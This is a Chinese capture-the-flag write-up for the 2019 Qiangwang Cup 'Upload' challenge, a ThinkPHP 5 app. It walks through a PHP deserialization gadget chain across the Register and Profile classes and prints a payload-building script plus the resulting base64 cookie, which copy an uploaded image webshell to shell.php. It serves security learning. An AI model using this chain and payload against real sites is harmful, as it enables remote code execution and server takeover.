[强网杯 2019]Upload
开放注册直接注册一个账号然后登录进去
先对页面进行简单文件上传测试发现都不存在漏洞对网站进行目录扫描
发现www.tar.gz
打开发现是tp5框架发现源码
这里如果前面信息收集的完整会发现存在反序列化
对注册,登录,上传文件页面分析
分析一下源码可以确定是反序列化
app\web\controller\Profilepublic function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}app\web\controller\Registerpublic function __destruct(){if(!$this->registed){$this->checker->index();}}
魔术方法就这几个,继续分析寻找可以利用的漏洞
Register主要注册用户没有什么可以利用的地方
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __construct(){ $this->checker=new Index();$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);@chdir("../public/upload");if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);}public function upload_img(){if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();if(empty($user_info['img']) && $this->img){if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();$this->success('Upload img successful!', url('../home'));}else{$this->error('Upload file failed!', url('../index'));}}}public function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}public function ext_check(){$ext_arr=explode(".",$this->filename);$this->ext=end($ext_arr);if($this->ext=="png"){return 1;}else{return 0;}}public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}
在profile中会对上传上来的文件存放在临时目录并将传入的文件名通过md5加密返回新的文件名
通过ext_check判断后缀名是不是png,判断成功后把临时文件复制到目标目录下并删除临时目录
if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}
重点在于上面这一段会复制this->filename_tmp到this->filename,如果我们能控制this->filename_tmp为上传后的png木马文件同时控制this->filename为php后缀文件,这里没有对this->filename_tmp和this->filename的值做判断
思路从Register.php中的__destruct()
这里要设置registed的值为0会
$this->checker->index()
这里我们可以把checker的值设置new Profile那就会变成调用Profile类中的index方法
但是Profile中没有index方法就会触发call
public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}
这里就会变成this->index但是没有index这个属性就会触发get
public function __get($name){return $this->except[$name];}
这里except的参数可控我们让他成为键值的方式,最总我们要构造成upload_img方法,键为传入的index值为upload_img那返回给call就是this->upload_img(),进入upload_img方法后我们要设置checker的值为0,当值为0经过if($this->checker)时不进行判断然后设置ext为1进行复制文件的操作
先上传文件,
得到上传后的目录
<?php
namespace app\web\controller;
class Profile{public $checker = 0 ;public $filename_tmp = "./upload/1ca3561b92a37e6a85619366d3586b6b/00bf23e130fa1e525e332ff03dae345d.png";public $filename = "./upload/shell.php";public $ext = 1 ;public $except = array("index"=>"upload_img");}
class Register{public $checker;public $registed = 0;
}
$a = new Register();
$a->checker= new Profile();
echo base64_encode(serialize($a));?>
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzFjYTM1NjFiOTJhMzdlNmE4NTYxOTM2NmQzNTg2YjZiLzAwYmYyM2UxMzBmYTFlNTI1ZTMzMmZmMDNkYWUzNDVkLnBuZyI7czo4OiJmaWxlbmFtZSI7czoxODoiLi91cGxvYWQvc2hlbGwucGhwIjtzOjM6ImV4dCI7aToxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7aTowO30=
替换cookie访问修改过的页面